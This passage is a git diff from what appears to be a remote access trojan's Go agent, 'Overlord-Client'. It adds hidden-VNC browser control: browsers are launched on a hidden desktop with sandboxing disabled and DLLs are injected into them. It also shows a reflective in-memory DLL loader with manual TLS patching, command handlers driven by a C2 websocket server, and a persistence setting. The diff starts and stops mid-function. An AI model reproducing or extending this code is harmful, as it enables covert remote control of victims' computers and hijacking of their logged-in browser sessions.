procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid)) + if snap == 0 || snap == ^uintptr(0) { + return false + } + defer procCloseHandle.Call(snap) + + var entry moduleEntry32W + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + return false + } + + target := strings.ToLower(moduleName) + for { + name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:])) + if name == target { + return true + } + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + break + } + } + return false +} + func terminateProcess(hProcess uintptr) { kernel32.NewProc("TerminateProcess").Call(hProcess, 1) } @@ -771,7 +939,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName } baseName := strings.ToLower(filepath.Base(filePath)) if browserExes[baseName] { - args += " --no-sandbox --allow-no-sandbox-job --disable-gpu" + args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox" } else if baseName == "firefox.exe" { args += " -no-remote -wait-for-browser" } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go index 824b705..d29d295 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go @@ -15,6 +15,10 @@ func CleanupHVNCDesktop() {} func SetHVNCCursorCapture(enabled bool) {} +func SetHVNCDXGIEnabled(enabled bool) {} + +func GetHVNCDXGIEnabled() bool { return false } + func hvncCaptureDisplay(display int) (*image.RGBA, error) { return nil, errors.New("HVNC not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 95333d3..2a95fbb 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -203,20 +203,21 @@ const ( ) type hvncTask struct { - kind hvncTaskKind - id uint64 - display int - filePath string - x int32 - y int32 - button int - vk uint16 - delta int32 - dllBytes []byte - searchPath string - replacePath string - queuedAt time.Time - resp chan hvncTaskResult + kind hvncTaskKind + id uint64 + display int + filePath string + x int32 + y int32 + button int + vk uint16 + delta int32 + dllBytes []byte + captureDllBytes []byte + searchPath string + replacePath string + queuedAt time.Time + resp chan hvncTaskResult } type hvncTaskResult struct { @@ -360,6 +361,10 @@ func CleanupHVNCDesktop() { hvncDesktopMu.Lock() defer hvncDesktopMu.Unlock() + hvncCleanupFrameReaders() + + hvncFreeCapCache() + for _, entry := range hvncWinCache { hvncFreeCacheEntry(entry) } @@ -475,7 +480,7 @@ func ensureHVNCThread() error { case hvncTaskStartProcess: result.err = startHVNCProcessOnThread(task.filePath) case hvncTaskStartProcessInjected: - result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath) + result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath) case hvncTaskMouseMove: result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) case hvncTaskMouseDown: @@ -710,13 +715,86 @@ func hvncTaskDetails(task hvncTask) string { } } +var ( + hvncCapHDCScreen uintptr + hvncCapHDCMem uintptr + hvncCapHBMP uintptr + hvncCapBits unsafe.Pointer + hvncCapW int + hvncCapH int + hvncCapImg *image.RGBA +) + +func hvncFreeCapCache() { + if hvncCapHBMP != 0 { + deleteObject(hvncCapHBMP) + hvncCapHBMP = 0 + } + if hvncCapHDCMem != 0 { + deleteDC(hvncCapHDCMem) + hvncCapHDCMem = 0 + } + if hvncCapHDCScreen != 0 { + releaseDC(0, hvncCapHDCScreen) + hvncCapHDCScreen = 0 + } + hvncCapBits = nil + hvncCapW = 0 + hvncCapH = 0 + hvncCapImg = nil +} + +func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) { + if hvncCapHDCScreen == 0 { + hvncCapHDCScreen = getDC(0) + if hvncCapHDCScreen == 0 { + return 0, 0, nil, false + } + } + if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil { + buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4) + return hvncCapHDCScreen, hvncCapHDCMem, buf, true + } + if hvncCapHBMP != 0 { + deleteObject(hvncCapHBMP) + hvncCapHBMP = 0 + } + if hvncCapHDCMem != 0 { + deleteDC(hvncCapHDCMem) + hvncCapHDCMem = 0 + } + hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen) + if hvncCapHDCMem == 0 { + return 0, 0, nil, false + } + bmi := bitmapInfo{ + bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(w), + biHeight: -int32(h), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }, + } + hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits) + if hvncCapHBMP == 0 || hvncCapBits == nil { + deleteDC(hvncCapHDCMem) + hvncCapHDCMem = 0 + return 0, 0, nil, false + } + selectObject(hvncCapHDCMem, hvncCapHBMP) + hvncCapW = w + hvncCapH = h + hvncCapImg = nil + buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4) + return hvncCapHDCScreen, hvncCapHDCMem, buf, true +} + func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { captureMu.Lock() defer captureMu.Unlock() - restoreRes := BypassResolutionCap() - defer restoreRes() - setDPIAware() maxDisplays := displayCount() @@ -748,36 +826,11 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { capW := srcW capH := srcH - hdcScreen := getDC(0) - if hdcScreen == 0 { + hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH) + if !ok { return nil, syscall.EINVAL } - defer releaseDC(0, hdcScreen) - hdcMem := createCompatibleDC(hdcScreen) - if hdcMem == 0 { - return nil, syscall.EINVAL - } - defer deleteDC(hdcMem) - - bmi := bitmapInfo{ - bmiHeader: bitmapInfoHeader{ - biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), - biWidth: int32(capW), - biHeight: -int32(capH), - biPlanes: 1, - biBitCount: 32, - biCompression: BI_RGB, - }, - } - var bits unsafe.Pointer - hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits) - if hbmp == 0 || bits == nil { - return nil, syscall.EINVAL - } - selectObject(hdcMem, hbmp) - - buf := unsafe.Slice((*byte)(bits), capW*capH*4) for i := range buf { buf[i] = 0 } @@ -792,14 +845,15 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { } swapRB(buf) - img := image.NewRGBA(image.Rect(0, 0, capW, capH)) + + img := hvncCapImg + if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH { + img = image.NewRGBA(image.Rect(0, 0, capW, capH)) + hvncCapImg = img + } copy(img.Pix, buf) - deleteObject(hbmp) - - if hvncCursorEnabled { - DrawCursorOnImage(img, bounds) - } + _ = hdcMem if dstW != capW || dstH != capH { img = resizeNearest(img, dstW, dstH) @@ -1571,6 +1625,95 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) { } } +var dxgiFrameBuf []byte + +var hvncDXGIEnabled atomic.Bool + +func init() { + hvncDXGIEnabled.Store(true) // enabled by default +} + +func SetHVNCDXGIEnabled(enabled bool) { + hvncDXGIEnabled.Store(enabled) +} + +func GetHVNCDXGIEnabled() bool { + return hvncDXGIEnabled.Load() +} + +func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool { + if !hvncDXGIEnabled.Load() { + return false + } + var pid uint32 + procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid))) + if pid == 0 { + return false + } + + reader := hvncGetFrameReader(pid) + if reader == nil { + hvncFrameReadersMu.Lock() + gpuPID := hvncGPUPIDMap[pid] + hvncFrameReadersMu.Unlock() + if gpuPID != 0 { + reader = hvncGetFrameReader(gpuPID) + } + } + if reader == nil { + return false + } + + needed := winW * winH * 4 + if cap(dxgiFrameBuf) < needed { + dxgiFrameBuf = make([]byte, needed) + } + buf := dxgiFrameBuf[:needed] + + frameW, frameH, ok := reader.readFrame(buf) + if !ok { + return false + } + + copyW := minInt(winW, frameW) + copyH := minInt(winH, frameH) + if copyW <= 0 || copyH <= 0 { + return false + } + + srcStride := frameW * 4 + winStride := winW * 4 + + effWinLeft := winLeft + effWinTop := winTop + effWinRight := winLeft + copyW + effWinBottom := winTop + copyH + + interLeft := maxInt(effWinLeft, bounds.Min.X) + interTop := maxInt(effWinTop, bounds.Min.Y) + interRight := minInt(effWinRight, bounds.Max.X) + interBottom := minInt(effWinBottom, bounds.Max.Y) + if interRight <= interLeft || interBottom <= interTop { + return false + } + + srcX := interLeft - winLeft + srcY := interTop - winTop + dstX := interLeft - bounds.Min.X + dstY := interTop - bounds.Min.Y + blitW := interRight - interLeft + blitH := interBottom - interTop + + for y := 0; y < blitH; y++ { + srcStart := (srcY+y)*srcStride + srcX*4 + dstStart := (dstY+y)*targetStride + dstX*4 + copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4]) + } + + _ = winStride + return true +} + func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { if !isWindowVisible(hwnd) { return false @@ -1597,6 +1740,10 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by return false } + if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn { + return true + } + // Use pooled DC+DIB from cache entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH) if entry == nil { diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index d8d435a..1549c23 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -17,7 +17,7 @@ import ( "time" ) -var AgentVersion = "1.8.4" +var AgentVersion = "1.8.6" var DefaultPersistence = "false" var DefaultServerURL = "wss://127.0.0.1:5173" diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 30f344f..9ae431a 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -470,6 +470,21 @@ func extractDLLBytes(payload map[string]interface{}) []byte { return nil } +func extractCaptureDLLBytes(payload map[string]interface{}) []byte { + if payload == nil { + return nil + } + switch v := payload["capture_dll"].(type) { + case []byte: + return v + case string: + if len(v) > 0 { + return []byte(v) + } + } + return nil +} + func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { cmdID, _ := envelope["id"].(string) action, _ := envelope["commandType"].(string) @@ -977,6 +992,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in _ = HVNCCursorControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil + case "hvnc_enable_dxgi": + payload, _ := envelope["payload"].(map[string]interface{}) + dxgiEnabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + dxgiEnabled = v + } + } + log.Printf("hvnc: DXGI capture %v", dxgiEnabled) + capture.SetHVNCDXGIEnabled(dxgiEnabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_set_resolution": + payload, _ := envelope["payload"].(map[string]interface{}) + maxH := 1080 + if payload != nil { + if v, ok := payloadInt(payload, "maxHeight"); ok { + maxH = v + } + } + log.Printf("hvnc: set resolution maxHeight=%d", maxH) + capture.SetMaxResolution(maxH) + sendCommandResultSafe(env, cmdID, true, "") + return nil case "hvnc_set_quality": payload, _ := envelope["payload"].(map[string]interface{}) quality := 90 @@ -1437,10 +1476,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } - log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes)) + captureDllBytes := extractCaptureDLLBytes(payload) + log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process_injected", nil, func() { - if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil { + if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil { log.Printf("hvnc: injected process failed for %q: %v", filePath, err) } }) @@ -1460,9 +1500,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil } log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) + captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_chrome_injected", nil, func() { - if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil { + if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil { log.Printf("hvnc: chrome injected failed: %v", err) } }) @@ -1502,6 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil } log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes)) + captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_browser_injected", nil, func() { var onProgress capture.CloneProgressFunc @@ -1517,7 +1559,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) } } - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil { + onDXGIStatus := func(success bool, gpuPID uint32, message string) { + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{ + Type: "hvnc_dxgi_status", + Success: success, + GPUPid: gpuPID, + Message: message, + }) + } + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil { log.Printf("hvnc: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go index cf22201..1aca3ea 100644 --- a/Overlord-Client/cmd/agent/handlers/hvnc.go +++ b/Overlord-Client/cmd/agent/handlers/hvnc.go @@ -27,7 +27,7 @@ func GetPersistedHVNCDisplay() int { } func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { - interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30) + interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120) capture.SetH264TargetFPS(fps) log.Printf("hvnc: starting stream (max fps %d)", fps) diff --git a/Overlord-Client/cmd/agent/plugins/loader_windows.go b/Overlord-Client/cmd/agent/plugins/loader_windows.go index 977a38d..9ace27b 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/loader_windows.go @@ -5,7 +5,7 @@ package plugins import ( "errors" "fmt" - "sync" + "runtime" "syscall" "unsafe" ) @@ -15,59 +15,96 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return nil, errors.New("empty plugin binary") } - mm, err := LoadMemoryModule(data) - if err != nil { - return nil, fmt.Errorf("pe load: %w", err) + type initResult struct { + dp *dllPlugin + err error } + ch := make(chan initResult, 1) - if err := mm.CallEntryPoint(dllProcessAttach); err != nil { - mm.Free() - return nil, fmt.Errorf("DllMain init: %w", err) - } + go func() { + runtime.LockOSThread() - onLoad, err := mm.GetExport("PluginOnLoad") - if err != nil { - mm.Free() - return nil, err - } - onEvent, err := mm.GetExport("PluginOnEvent") - if err != nil { - mm.Free() - return nil, err - } - onUnload, err := mm.GetExport("PluginOnUnload") - if err != nil { - mm.Free() - return nil, err - } + mm, err := LoadMemoryModule(data) + if err != nil { + ch <- initResult{err: fmt.Errorf("pe load: %w", err)} + runtime.UnlockOSThread() + return + } - setCallback, _ := mm.GetExport("PluginSetCallback") + if err := mm.CallEntryPoint(dllProcessAttach); err != nil { + mm.Free() + ch <- initResult{err: fmt.Errorf("DllMain init: %w", err)} + runtime.UnlockOSThread() + return + } - runtime := "go" - if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil { - ret, _, _ := syscall.SyscallN(getRuntimeAddr) - if ret != 0 { - var buf [32]byte - for i := range buf { - b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) - if b == 0 { - runtime = string(buf[:i]) - break + onLoad, err := mm.GetExport("PluginOnLoad") + if err != nil { + mm.Free() + ch <- initResult{err: err} + runtime.UnlockOSThread() + return + } + onEvent, err := mm.GetExport("PluginOnEvent") + if err != nil { + mm.Free() + ch <- initResult{err: err} + runtime.UnlockOSThread() + return + } + onUnload, err := mm.GetExport("PluginOnUnload") + if err != nil { + mm.Free() + ch <- initResult{err: err} + runtime.UnlockOSThread() + return + } + + setCallback, _ := mm.GetExport("PluginSetCallback") + + rt := "go" + if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil { + ret, _, _ := syscall.SyscallN(getRuntimeAddr) + if ret != 0 { + var buf [32]byte + for i := range buf { + b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) + if b == 0 { + rt = string(buf[:i]) + break + } + buf[i] = b } - buf[i] = b } } - } - dp := &dllPlugin{ - mem: mm, - onLoadAddr: onLoad, - onEventAddr: onEvent, - onUnloadAddr: onUnload, - setCallbackAddr: setCallback, - pluginRuntime: runtime, + dp := &dllPlugin{ + mem: mm, + onLoadAddr: onLoad, + onEventAddr: onEvent, + onUnloadAddr: onUnload, + setCallbackAddr: setCallback, + pluginRuntime: rt, + workCh: make(chan pluginWork), + } + + ch <- initResult{dp: dp} + + dp.workerLoop() + + runtime.UnlockOSThread() + }() + + res := <-ch + if res.err != nil { + return nil, res.err } - return dp, nil + return res.dp, nil +} + +type pluginWork struct { + fn func() error + done chan error } type dllPlugin struct { @@ -78,76 +115,94 @@ type dllPlugin struct { setCallbackAddr uintptr callbackHandle uintptr // prevent GC of the callback closure pluginRuntime string // "go", "c", "cpp", etc. - mu sync.Mutex + workCh chan pluginWork +} + +func (p *dllPlugin) workerLoop() { + for w := range p.workCh { + w.done <- w.fn() + } +} + +func (p *dllPlugin) runOnWorker(fn func() error) error { + done := make(chan error, 1) + p.workCh <- pluginWork{fn: fn, done: done} + return <-done } func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error { - p.mu.Lock() - defer p.mu.Unlock() + return p.runOnWorker(func() error { + // Create a stdcall callback the DLL can invoke to send events to the host. + cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr { + event := make([]byte, eventLen) + if eventLen > 0 { + copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen)) + } + payload := make([]byte, payloadLen) + if payloadLen > 0 { + copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen)) + } + send(string(event), payload) + return 0 + }) + p.callbackHandle = cb - // Create a stdcall callback the DLL can invoke to send events to the host. - cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr { - event := make([]byte, eventLen) - if eventLen > 0 { - copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen)) + if p.setCallbackAddr != 0 { + syscall.SyscallN(p.setCallbackAddr, cb) } - payload := make([]byte, payloadLen) - if payloadLen > 0 { - copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen)) + + var infoPtr uintptr + infoLen := uintptr(len(hostInfo)) + if len(hostInfo) > 0 { + infoPtr = uintptr(unsafe.Pointer(&hostInfo[0])) } - send(string(event), payload) - return 0 + ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb) + if int32(ret) != 0 { + return errors.New("PluginOnLoad returned non-zero") + } + return nil }) - p.callbackHandle = cb - - if p.setCallbackAddr != 0 { - syscall.SyscallN(p.setCallbackAddr, cb) - } - - var infoPtr uintptr - infoLen := uintptr(len(hostInfo)) - if len(hostInfo) > 0 { - infoPtr = uintptr(unsafe.Pointer(&hostInfo[0])) - } - ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb) - if int32(ret) != 0 { - return errors.New("PluginOnLoad returned non-zero") - } - return nil } func (p *dllPlugin) Event(event string, payload []byte) error { - p.mu.Lock() - defer p.mu.Unlock() - eventBytes := []byte(event) - var eventPtr, payloadPtr uintptr - eventLen := uintptr(len(eventBytes)) - payloadLen := uintptr(len(payload)) - if len(eventBytes) > 0 { - eventPtr = uintptr(unsafe.Pointer(&eventBytes[0])) - } - if len(payload) > 0 { - payloadPtr = uintptr(unsafe.Pointer(&payload[0])) - } + payloadCopy := make([]byte, len(payload)) + copy(payloadCopy, payload) - ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen) - if int32(ret) != 0 { - return errors.New("PluginOnEvent returned non-zero") - } + go func() { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + + cleanup := p.mem.SetupThreadTLS() + defer cleanup() + + var eventPtr, payloadPtr uintptr + eventLen := uintptr(len(eventBytes)) + payloadLen := uintptr(len(payloadCopy)) + if len(eventBytes) > 0 { + eventPtr = uintptr(unsafe.Pointer(&eventBytes[0])) + } + if len(payloadCopy) > 0 { + payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0])) + } + + syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen) + }() return nil } func (p *dllPlugin) Unload() { - p.mu.Lock() - defer p.mu.Unlock() - if p.onUnloadAddr != 0 { - syscall.SyscallN(p.onUnloadAddr) - } + _ = p.runOnWorker(func() error { + if p.onUnloadAddr != 0 { + syscall.SyscallN(p.onUnloadAddr) + } + return nil + }) } func (p *dllPlugin) Close() error { p.Unload() + close(p.workCh) if p.pluginRuntime != "go" { if p.mem != nil { p.mem.Free() diff --git a/Overlord-Client/cmd/agent/plugins/peloader_windows.go b/Overlord-Client/cmd/agent/plugins/peloader_windows.go index dc02db7..d88a46a 100644 --- a/Overlord-Client/cmd/agent/plugins/peloader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/peloader_windows.go @@ -5,6 +5,7 @@ package plugins import ( "errors" "fmt" + "overlord-client/cmd/agent/plugins/teb" "syscall" "unsafe" @@ -123,14 +124,18 @@ type imageTLSDirectory64 struct { } type MemoryModule struct { - base uintptr - size uintptr - entryPoint uintptr - exports map[string]uintptr - importDLLs []windows.Handle - initialized bool - tlsIndex uint32 - tlsData uintptr + base uintptr + size uintptr + entryPoint uintptr + exports map[string]uintptr + importDLLs []windows.Handle + initialized bool + tlsIndex uint32 + tlsData uintptr + tlsArrayAlloc uintptr // our VirtualAlloc'd ThreadLocalStoragePointer array + tlsTemplSrc uintptr // PE template raw data start (for copying to new threads) + tlsTemplSize uintptr // dataSize (template bytes to copy) + tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread) } func LoadMemoryModule(data []byte) (*MemoryModule, error) { @@ -293,8 +298,8 @@ func (mm *MemoryModule) Free() { if mm.tlsIndex != 0xFFFFFFFF { if mm.tlsData != 0 { _ = windows.VirtualFree(mm.tlsData, 0, windows.MEM_RELEASE) + mm.tlsData = 0 } - procTlsFree.Call(uintptr(mm.tlsIndex)) } for _, h := range mm.importDLLs { _ = windows.FreeLibrary(h) @@ -431,30 +436,78 @@ func (mm *MemoryModule) setupTLS(reason uint32) { tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress))) - idx, _, _ := procTlsAlloc.Call() - if idx == 0xFFFFFFFF { - return - } - mm.tlsIndex = uint32(idx) - - if tls.AddressOfIndex != 0 { - *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = mm.tlsIndex - } - dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData) totalSize := dataSize + uintptr(tls.SizeOfZeroFill) + + var tlsData uintptr if totalSize > 0 { - tlsData, err := windows.VirtualAlloc(0, totalSize, + var err error + tlsData, err = windows.VirtualAlloc(0, totalSize, windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) - if err == nil && tlsData != 0 { - if dataSize > 0 { - copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize) - } - procTlsSetValue.Call(uintptr(mm.tlsIndex), tlsData) - mm.tlsData = tlsData + if err != nil || tlsData == 0 { + return + } + if dataSize > 0 { + copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize) } } + tebAddr := teb.CurrentTEB() + tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) // ThreadLocalStoragePointer + oldArray := *tlsArrayField + + var newIndex uint32 + ptrSize := unsafe.Sizeof(uintptr(0)) + + if oldArray == 0 { + newArray, err := windows.VirtualAlloc(0, ptrSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + if tlsData != 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + } + return + } + *(*uintptr)(unsafe.Pointer(newArray)) = tlsData + *tlsArrayField = newArray + newIndex = 0 + mm.tlsArrayAlloc = newArray + } else { + var count uint32 + for count = 0; count < 256; count++ { + entry := *(*uintptr)(unsafe.Pointer(oldArray + uintptr(count)*ptrSize)) + if entry == 0 { + break + } + } + newSize := uintptr(count+1) * ptrSize + newArray, err := windows.VirtualAlloc(0, newSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + if tlsData != 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + } + return + } + if count > 0 { + copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), uintptr(count)*ptrSize) + } + *(*uintptr)(unsafe.Pointer(newArray + uintptr(count)*ptrSize)) = tlsData + *tlsArrayField = newArray + newIndex = count + mm.tlsArrayAlloc = newArray + } + + if tls.AddressOfIndex != 0 { + *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = newIndex + } + + mm.tlsIndex = newIndex + mm.tlsData = tlsData + mm.tlsTemplSrc = uintptr(tls.StartAddressOfRawData) + mm.tlsTemplSize = dataSize + mm.tlsTotalSize = totalSize + if tls.AddressOfCallBacks != 0 { cbAddr := uintptr(tls.AddressOfCallBacks) for { @@ -468,6 +521,61 @@ func (mm *MemoryModule) setupTLS(reason uint32) { } } +func (mm *MemoryModule) SetupThreadTLS() func() { + if mm.tlsIndex == 0xFFFFFFFF || mm.tlsTotalSize == 0 { + return func() {} + } + + tlsData, err := windows.VirtualAlloc(0, mm.tlsTotalSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || tlsData == 0 { + return func() {} + } + if mm.tlsTemplSize > 0 { + copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize) + } + + ptrSize := unsafe.Sizeof(uintptr(0)) + tebAddr := teb.CurrentTEB() + tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) + oldArray := *tlsArrayField + + var newArray uintptr + if oldArray == 0 { + arrSize := uintptr(mm.tlsIndex+1) * ptrSize + newArray, err = windows.VirtualAlloc(0, arrSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + return func() {} + } + *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData + *tlsArrayField = newArray + } else { + needed := uintptr(mm.tlsIndex+1) * ptrSize + newArray, err = windows.VirtualAlloc(0, needed, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + return func() {} + } + copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), needed) + *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData + *tlsArrayField = newArray + } + + return func() { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + if newArray != 0 { + *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = 0 + _ = windows.VirtualFree(newArray, 0, windows.MEM_RELEASE) + } + tebNow := teb.CurrentTEB() + field := (*uintptr)(unsafe.Pointer(tebNow + 0x58)) + *field = oldArray + } +} + func peString(addr uintptr) string { var buf []byte for i := 0; i < 4096; i++ { // safety limit @@ -480,45 +588,42 @@ func peString(addr uintptr) string { return string(buf) } -var ( - modKernel32 = windows.NewLazySystemDLL("kernel32.dll") - procGetProcAddr = modKernel32.NewProc("GetProcAddress") - procTlsAlloc = modKernel32.NewProc("TlsAlloc") - procTlsSetValue = modKernel32.NewProc("TlsSetValue") - procTlsFree = modKernel32.NewProc("TlsFree") -) - -func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) { - r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal)) - if r == 0 { - return 0, fmt.Errorf("GetProcAddress ordinal %d: %w", ordinal, err) +func copyMem(dst uintptr, src *byte, size 